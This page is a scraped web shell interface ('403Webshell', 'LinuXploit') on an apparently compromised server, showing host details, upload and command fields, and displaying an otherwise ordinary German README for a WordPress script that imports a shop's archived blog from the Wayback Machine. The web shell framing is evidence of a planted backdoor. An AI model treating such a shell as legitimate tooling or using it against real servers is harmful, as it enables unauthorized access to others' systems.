403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web32/web/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web32/web/tools/README.md
# Wayback Blog Importer

Standalone-Migrations-Script. Crawlt den Wayback-Snapshot von **taschenmuschi-kaufen.de/blog/** und legt die Artikel in der frischen WP-Installation neu an.

Kein Plugin, kein Cronjob — **einmalige Migration**.

## Voraussetzungen

- PHP ≥ 7.4 mit Extensions: `dom`, `libxml`, `curl`, `gd`, `mbstring`
- Lokaler PHP-Dev-Server läuft (oder echte WP-Installation)
- Internet-Zugang zu `web.archive.org`
- WordPress muss installiert sein (`wp-load.php` existiert)
- Schreibrechte für `wp-content/uploads/`
- Schreibrechte für `tools/cache/` und `tools/import-logs/`

## Was passiert beim Lauf

1. Permalink-Struktur wird auf `/%year%/%monthnum%/%postname%/` gesetzt (geflusht).
2. Sicherheits-Check (Browser: Login + `manage_options`).
3. Wayback-Index wird gecrawlt — bis zu 10 Pagination-Seiten (`/blog/page/N/`).
4. Pro Artikel:
   - HTML aus dem Wayback laden (mit Cache, Retry & Backoff).
   - Titel aus `<meta property="og:title">` oder `<h1>`.
   - Datum aus `<meta property="article:published_time">`, sonst aus `<span class="blog-meta">`, sonst aus der URL.
   - Content aus `<div class="content no-margin">` extrahieren.
   - Theme-Reste (`offer-row`, Scripts, Inline-Styles, Tracking) entfernen.
   - Wayback-Wrapper aus allen Bild-/Link-URLs entkapseln.
   - Inline-Bilder lokal in die Mediathek importieren, URLs im Content ersetzen.
   - Featured Image: `og:image` → erstes Inline-Bild → GD-Fallback-Bild (Bordeaux-Verlauf, Titel mittig).
   - Post in `category: Magazin` anlegen mit Original-Datum + Original-Slug.
   - Duplikate via `_wayback_source_url` Meta erkannt → übersprungen (oder mit `--force` überschrieben).
5. Stats + Log.

## CLI

```bash
# Trockenlauf (nichts in der DB ändern, Bilder werden auch nicht geladen)
php tools/import-wayback-blog.php --dry-run

# Nur die ersten 5 Artikel importieren — gut für ersten Smoke-Test
php tools/import-wayback-blog.php --limit=5

# Vollimport, bestehende Beiträge überschreiben
php tools/import-wayback-blog.php --force

# Voller Lauf
php tools/import-wayback-blog.php
```

## Browser

```
https://<site>/tools/import-wayback-blog.php
```

Erfordert eingeloggter Admin. Erst nach `?run=1` wird tatsächlich importiert:

```
https://<site>/tools/import-wayback-blog.php?run=1
https://<site>/tools/import-wayback-blog.php?run=1&limit=5
https://<site>/tools/import-wayback-blog.php?run=1&dry_run=1
https://<site>/tools/import-wayback-blog.php?run=1&force=1
```

## Output

```
[2026-05-22 14:31:09] INFO  Start {"limit":5,"dry_run":false,"force":false}
[2026-05-22 14:31:09] INFO  Permalink-Struktur ist bereits korrekt
[2026-05-22 14:31:09] INFO  Index-Seite 1 laden {"url":"…"}
[2026-05-22 14:31:11] INFO  Index-Crawl abgeschlossen {"gesamt":42}
[2026-05-22 14:31:11] INFO  Limit aktiv {"urls":5}
[2026-05-22 14:31:11] INFO  >>> [1/5] https://web.archive.org/web/…
[2026-05-22 14:31:13] INFO  imported {"url":"…","post_id":201,"slug":"japanisches-sexspielzeug-alles-ueber-onaholes"}
…
[2026-05-22 14:31:42] INFO  Fertig in 32.4s {"imported":5,"updated":0,"skipped":0,"errors":0,"images":17}
```

Persistente Logs unter [tools/import-logs/import.log](tools/import-logs/import.log).
Roh-HTML-Cache unter [tools/cache/](tools/cache/) — kann manuell gelöscht werden, um einen Re-Fetch zu erzwingen.

## Datenbank-Hinweise

- Beiträge werden als `post_type=post`, `post_status=publish` angelegt.
- Datum-Felder: `post_date_gmt` aus dem `article:published_time` der Quelle; `post_date` wird via `get_date_from_gmt()` auf die WP-Timezone gemappt.
- Slug: aus dem letzten URL-Segment des Originals (`/2023/03/<slug>/`) — bleibt 1:1 erhalten.
- Kategorie: `Magazin` (wird angelegt, falls nicht vorhanden).
- Bilder werden mit `media_handle_sideload` in die Mediathek geschoben.
  Dedup über Post-Meta `_wayback_source_hash` (md5 der Quell-URL).
- Post-Meta:
  - `_wayback_source_url` — Original-URL (Wayback)
  - `_wayback_imported_at` — Zeitstempel des Imports
  - `_wayback_import_hash` — Hash über Titel + Content

## Idempotenz

Re-Runs überspringen bereits importierte Beiträge anhand `_wayback_source_url`.
Mit `--force` werden sie **aktualisiert** (nicht dupliziert).

## Permalink-Hinweis

Das Script setzt die WP-Permalink-Struktur automatisch auf:

```
/%year%/%monthnum%/%postname%/
```

So funktionieren die `/2023/03/slug/`-URLs ohne weiteren Eingriff.

## Fehlerquellen & Troubleshooting

- **Wayback-Snapshot nicht vorhanden:** Wayback redirected dann auf einen anderen Zeitstempel. `wp_remote_get` folgt Redirects (`redirection => 8`).
- **GD nicht aktiv:** Fallback-Image-Erzeugung schlägt fehl — Beiträge ohne `og:image` bekommen kein Featured Image. Andere Beiträge sind nicht betroffen.
- **Hängender Lauf:** Per-Request-Timeout ist 25 s, globales `set_time_limit(1800)`. Wenn der Lauf wirklich hängt: `Ctrl-C`, dann mit `--limit` schrittweise importieren.
- **Bilder kommen nicht:** Wayback liefert `404` bei nicht-archivierten Assets. Das Script versucht zuerst die Wayback-`im_`-Variante, dann das Original — beide schlagen evtl. fehl. Der Beitrag wird trotzdem importiert.
- **Datum-Parsing schief:** Im Log unter „Parse fehlgeschlagen" / „Kein Content" sichtbar. Wahrscheinliche Ursache: die spezifische Wayback-Capture liefert die `.content.no-margin`-Klasse nicht. Den Single-Selector im Script anpassen.

## Aufräumen nach dem Lauf

```bash
# Optional: Roh-HTML-Cache löschen (Wayback-Anfragen sparen)
rm -rf tools/cache/*

# Optional: das gesamte Tool-Verzeichnis entfernen, wenn fertig
rm -rf tools/
```

Der Import ist ein One-Shot — das Skript darf nach erfolgreicher Migration aus dem Repo entfernt werden.

Youez - 2016 - github.com/yon3zu
LinuXploit